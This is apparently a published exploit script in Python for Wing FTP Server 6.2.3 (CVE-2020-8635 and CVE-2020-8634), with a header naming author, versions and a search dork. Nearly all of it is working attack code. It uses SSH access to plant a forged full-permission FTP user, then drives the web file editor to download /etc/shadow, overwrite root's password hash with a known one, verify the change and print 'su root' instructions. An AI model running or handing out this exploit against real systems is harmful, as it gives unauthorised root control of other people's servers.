# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-02 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.3 # Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86) # Given SSH access to a target machine with Wing FTP Server installed, this program: # - SSH in, forges a FTP user account with full permissions (CVE-2020-8635) # - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634) # Each step can all be done manually with any kind of code execution on target (no SSH) # To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created. # https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup) #!/usr/bin/python3 #python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080 import paramiko,sys,warnings,requests,re,time,argparse #Python warnings are the worst warnings.filterwarnings("ignore") #Argument handling begins parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance.")) parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True) parser.add_argument("-u", "--username", help="SSH username", required=True) parser.add_argument("-p", "--password", help="SSH password", required=True) parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true') parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False) args = parser.parse_args() #Global Variables global username global password global proxies global port global hostname global DEBUG username = args.username password = args.password #Turn on debug statements if args.verbose: DEBUG = True else: DEBUG = False #Handle nonstandard SSH port if ':' in args.target: socket = args.target.split(':') hostname = socket[0] port = socket[1] else: hostname = args.target port = "22" #Prepare proxy dict (for Python requests) if args.proxy: if ("http://" not in args.proxy) and ("https://" not in args.proxy): print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}") sys.exit(1) proxies = {'http':args.proxy,'https':args.proxy} else: proxies = {} #Argument handling ends #This is what a .xml file looks like. #Gives full permission to user (h00p:h00p) for entire filesystem '/'. #Located in $_WFTPROOT/Data/Users/ evilUserXML = """ h00p 1 1 d28f47c0483d392ca2713fe7e6f54089 63 0 2020-02-25 18:27:07 0 0 0 0 5 5 0 0 0 0 0 0 0 0 1 1 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 1580092048 0 0 0 0 0 0 0 2020-01-26 18:27:28 0 / / 1 1 1 1 1 1 1 1 1 1 1 1 """ #Verbosity function. def log(string): if DEBUG != False: print(string) #Checks to see which URL is hosting Wing FTP #Returns a URL, probably. HTTPS preferred. empty url is checked in main() def checkHTTP(hostname): protocols= ["http://","https://"] for protocol in protocols: try: log(f"Testing HTTP service {protocol}{hostname}") response = requests.get(protocol + hostname, verify=False, proxies=proxies) try: #Server: Wing FTP Server if "Wing FTP Server" in response.headers['Server']: print(f"[!] Wing FTP Server found at {protocol}{hostname}") url = protocol + hostname except: print("") except Exception as e: print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}") return url #Log in to the HTTP interface. Returns cookie def getCookie(url,webuser,webpass,headers): log("getCookie") loginURL = f"{url}/loginok.html" data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "} response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies) ftpCookie = response.headers['Set-Cookie'].split(';')[0] print(f"[!] Successfully logged in! Cookie is {ftpCookie}") cookies = {"UID":ftpCookie.split('=')[1]} log("return getCookie") return cookies #Change directory within the web interface. #The actual POST request changes state. We keep track of that state in the returned directorymem array. def chDir(url,directory,headers,cookies,directorymem): log("chDir") data = {"dir": directory} print(f"[*] Changing directory to {directory}") chdirURL = f"{url}/chdir.html" requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) log(f"Directorymem is nonempty. --> {directorymem}") log("return chDir") directorymem = directorymem + "|" + directory return directorymem #The application has a silly way of keeping track of paths. #This function returns the current path as dirstring. def prepareStupidDirectoryString(directorymem,delimiter): log("prepareStupidDirectoryString") dirstring = "" directoryarray = directorymem.split('|') log(f"directoryarray is {directoryarray}") for item in directoryarray: if item != "": dirstring += delimiter + item log("return prepareStupidDirectoryString") return dirstring #Downloads a given file from the server. By default, it runs as root. #Returns the content of the file as a string. def downloadFile(file,url,headers,cookies,directorymem): log("downloadFile") print(f"[*] Downloading the {file} file...") dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?! log(f"directorymem is {directorymem} and dirstring is {dirstring}") editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768" response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies) filecontent = re.findall(r'',response.text,re.DOTALL)[0] log(f"downloaded file is: {filecontent}") log("return downloadFile") return filecontent,editURL #Saves a given file to the server (or overwrites one). By default it saves a file with #644 permission owned by root. def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem): log("saveFile") log(f"Directorymem is {directorymem}") saveURL = f"{url}/savefile.html" headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer} dirstring = prepareStupidDirectoryString(directorymem,"/") log(f"Stupid Directory string is {dirstring}") data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent} requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False) log("return saveFile") #Other methods may be more stable, but this works. #"You can't argue with a root shell" - FX #Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite #the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV). #Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible. #This routine overwrites the shadow file def overwriteShadow(url): log("overwriteShadow") headers = {"Content-Type": "application/x-www-form-urlencoded"} #Grab cookie from server. cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers) #Chdir a few times, starting in the user's home directory until we arrive at the target folder directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="") #Download the target file. shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem) # openssl passwd -1 -salt h00ph00p h00ph00p rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0" rootpass = "root:" + rootpass + ":18273:0:99999:7:::" #Create new shadow file with different root password & save newshadow = re.sub("root(.*):::",rootpass,shadowfile) print("[*] Swapped the password hash...") saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem) print("[*] Saved the forged shadow file...") log("exit overwriteShadow") def main(): log("main") try: #Create ssh connection to target with paramiko client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy) try: client.connect(hostname, port=port, username=username, password=password) except: print(f"Failed to connect to {hostname}:{port} as user {username}.") #Find wftpserver directory print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)") stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'") wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0] print(f"[!] Found Wing FTP directory: {wftpDir}") #Find name of stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1") lsresult = stdout.read().decode("utf-8").split('\n') #Checking if wftpserver is actually configured. If you're using this script, it probably is. print(f"[*] Determining if the server has been configured.") domains = [] for item in lsresult[:-1]: item = item.rsplit('/',1)[1] if item !="_ADMINISTRATOR" and item != "": domains.append(item) print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}") domain = domains[0] #Check if the users folder exists userpath = wftpDir + "/Data/" + domain print(f"[*] Checking if users exist.") stdin, stdout, stderr = client.exec_command(f"file {userpath}/users") if "No such file or directory" in stdout.read().decode("utf-8"): print(f"[*] Users directory does not exist. Creating folder /users") #Create users folder stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users") #Create user.xml file print("[*] Forging evil user (h00p:h00p).") stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml") #Now we can log into the FTP web app with h00p:h00p url = checkHTTP(hostname) #Check that url isn't an empty string (and that its a valid URL) if "http" not in url: print(f"[!] Exiting... cannot access web interface.") sys.exit(1) #overwrite root password try: overwriteShadow(url) print(f"[!] Overwrote root password to h00ph00p.") except Exception as e: print(f"[!] Error: cannot overwrite /etc/shadow: {e}") #Check to make sure the exploit worked. stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root") out = stdout.read().decode('utf-8') err = stderr.read().decode('utf-8') log(f"STDOUT - {out}") log(f"STDERR - {err}") if "root:$1$h00p" in out: print(f"[*] Success! The root password has been successfully changed.") print(f"\n\tssh {username}@{hostname} -p{port}") print(f"\tThen: su root (password is h00ph00p)") else: print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.") log("exit prepareServer") finally: client.close() main()